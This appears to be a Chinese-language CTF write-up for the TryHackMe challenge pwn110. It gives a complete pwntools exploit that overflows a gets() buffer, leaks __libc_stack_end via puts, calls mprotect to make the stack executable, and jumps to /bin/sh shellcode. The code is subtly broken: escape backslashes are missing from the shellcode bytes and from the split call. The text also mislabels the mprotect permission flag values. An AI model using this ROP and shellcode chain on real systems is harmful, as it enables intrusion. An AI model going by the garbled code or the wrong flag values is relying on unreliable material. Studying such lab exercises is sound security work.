pwn110
checksec
Arch: amd64-64-little
RELRO:Partial RELRO
Stack:Canary found
NX: NX enabled
PIE:No PIE (0x400000)
SHSTK:Enabled
IBT:Enabled
Stripped:No
canary、nx
运行情况
有溢出,它要求不用libc的情况下pwn
IDA分析
int __fastcall main(int argc,constchar**argv,constchar**envp)
{
u32 uaddr2[8];// [rsp+0h] [rbp-20h] BYREF
setup(argc, argv, envp);
banner();
puts("Hello pwner, I'm the last challenge 😼");
puts("Well done, Now try to pwn me without libc 😏");
return gets(uaddr2);
}
8字节?但是实际测试下来不对
u32,那么,就是4字节,有8个元素,总共32字节
减个4,就是40,它必满足8字节的整数倍(输入+save_addr)
还没有canary保护
它这怎么一大堆函数,
也没找到其它函数,比如system
shift+f12,找字符串,无果
这没办法,看wp
通过IDA的exports一栏,可以去搜索一些函数
其中就有 mprotect
,__libc_stack_end
gdb调试
info functions libc_stack
,找不到这个函数地址,看来要运行时抓取
答案
import sys
from pwn import*
from struct import*
exe ='./pwn110'
b=context.binary = ELF(exe,checksec=False)
pop_rdi=p64(0x000000000040191a)
libc_stack_end=p64(b.symbols.__libc_stack_end)
puts=p64(b.symbols.puts)
main=p64(b.symbols.main)
payload =b"A"*40
payload+=pop_rdi
payload+=libc_stack_end
payload+=puts
payload+=main
p = process(exe)
#p=gdb.debug(exe,"b main")
p.recvuntil(b"libc")
p.recv()
p.sendline(payload)
func_address=p.recv().split(b"n")[0].ljust(8,b"x00")
print(f"func_address:{hex(u64(func_address))}")
start_addr=u64(func_address)&~0xfff
print(f"start_addr:{hex(start_addr)}")
pop_rsi=p64(0x000000000040f4de)
pop_rdx=p64(0x000000000040181f)
mprotect=p64(b.symbols.mprotect)
rsp_addr=p64(0x0000000000463c43)
shellcode=b'x48x31xf6x56x48xbfx2fx62x69x6ex2fx2fx73x68x57x54x5fx6ax3bx58x99x0fx05'
payload2=b"A"*40
payload2+=pop_rdi+p64(start_addr)
payload2+=pop_rsi+p64(0x1000)
payload2+=pop_rdx+p64(0x7)
payload2+=mprotect
payload2+=rsp_addr+shellcode
p.sendline(payload2)
p.interactive()
过程分析
mprotect
https://razvioverflow.github.io/tryhackme/pwn101.html
Abusing a buffer overflow to craft a malicious call to mprotect(2) and change the stack protections making it executable in order to spawn a shell (shellcode).
利用了一个函数调用叫mprotect
https://www.man7.org/linux/man-pages/man2/mprotect.2.html
mprotect, pkey_mprotect - set protection on a region of memory
intmprotect(void addr[.len],size_t len,int prot);
mprotect() changes the access protections for the calling
process's memory pages containing any part of the address range
in the interval [addr, addr+len-1]. addr must be aligned to a
page boundary.
第三个参数,prot,包含了几个值的集合
https://docs.zephyrproject.org/4.0.0/doxygen/html/mman_8h.html
none 0x1
read 0x2
write 0x4
如果prot值为7,就说明包含上面这三部分
这个函数的作用,就是我要找到一个起始地址addr,然后长度为len,这一块区域我写进shellcode去执行
那么现在,寄存器的6个参数传参顺序:rdi->rsi->rdx->rcx->r8->r9
;这个函数的参数占了三位,那就是前三个了
ROPgadget --binary pwn110 --depth 12 >gadgets.txt
0x000000000040191a: pop rdi ; ret
...
0x000000000040f4de: pop rsi ; ret
...
0x000000000040181f: pop rdx ; ret
...
0x0000000000463c43: jmp rsp
__libc_stack_end
那么找谁的起始地址,根据wp1,它找的应该是页面起始,而这个函数呢,其位置表示栈的某个边界值
通过泄露这个函数的地址
print __libc_stack_end 找不到这个值
它这种可能是只有在运行时才分配地址,所以需要抓这个值
泄露地址
那么,泄露地址,用gadget,老方法,还是通过puts,它的地址可以print,也可以直接调出来,反正要用它输出来某个函数的地址
payload依然遵循,溢出+参数+函数+返回地址
import sys
from pwn import*
from struct import*
exe ='./pwn110'
b=context.binary = ELF(exe,checksec=False)
pop_rdi=p64(0x000000000040191a)
libc_stack_end=p64(b.symbols.__libc_stack_end)
puts=p64(b.symbols.puts)
main=p64(b.symbols.main)
payload =b"A"*40
payload+=pop_rdi
payload+=libc_stack_end
payload+=puts
payload+=main
p = process(exe)
#p=gdb.debug(exe,"b main")
p.recvuntil(b"libc")
p.recv()
p.sendline(payload)
func_address=p.recv().split(b"n")[0].ljust(8,b"x00")
print(f"func_address:{hex(u64(func_address))}")
p.interactive()
shellcode植入
这个时候得到了func_address,但是mprotect()需要进行一个栈对齐,也就是说addr参数,需要是系统页面大小的整数倍,已知:
getconf PAGESIZE
,为4096,这个就作为mprotect()的第二个参数len了,即0x1000
print(hex(0x7ffd4a33b1f8&~0xfff))
得到该页面的起始地址,也就是十六进制时,低三位(二进制为低12位)为0
...
start_addr=u64(func_address)&~0xfff
print(f"start_addr:{hex(start_addr)}")
...
现在对于mprotext()函数,三个参数都齐了,添加shellcode,返回地址为输入变量初始位置,可用jmp
https://www.exploit-db.com/exploits/46907
那么可以整理如下:
...
pop_rsi=p64(0x000000000040f4de)
pop_rdx=p64(0x000000000040181f)
mprotect=p64(b.symbols.mprotect)
rsp_addr=p64(0x0000000000463c43)
shellcode=b'x48x31xf6x56x48xbfx2fx62x69x6ex2fx2fx73x68x57x54x5fx6ax3bx58x99x0fx05'
payload2=b"A"*40
payload2+=pop_rdi+p64(start_addr)
payload2+=pop_rsi+p64(0x1000)
payload2+=pop_rdx+p64(0x7)
payload2+=mprotect
payload2+=rsp_addr+shellcode
p.sendline(payload2)
...
总结
程序的代码、数据(包括栈和堆)等都分布在页面中
两步走,1.泄露__libc_stack_end求页面起始地址;2.mprotect函数修改权限并植入shellcode
加深了利用puts函数泄露地址的操作
jmp rsp+shellcode,跳转到栈顶,也就是变量所在位置,并填充变量
参考
wp1:https://razvioverflow.github.io/tryhackme/pwn101.html
shellcode:https://www.exploit-db.com/exploits/46907
https://www.man7.org/linux/man-pages/man2/mprotect.2.html
https://docs.zephyrproject.org/4.0.0/doxygen/html/mman_8h.html
原文始发于微信公众号(羽泪云小栈):thm_pwn110
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论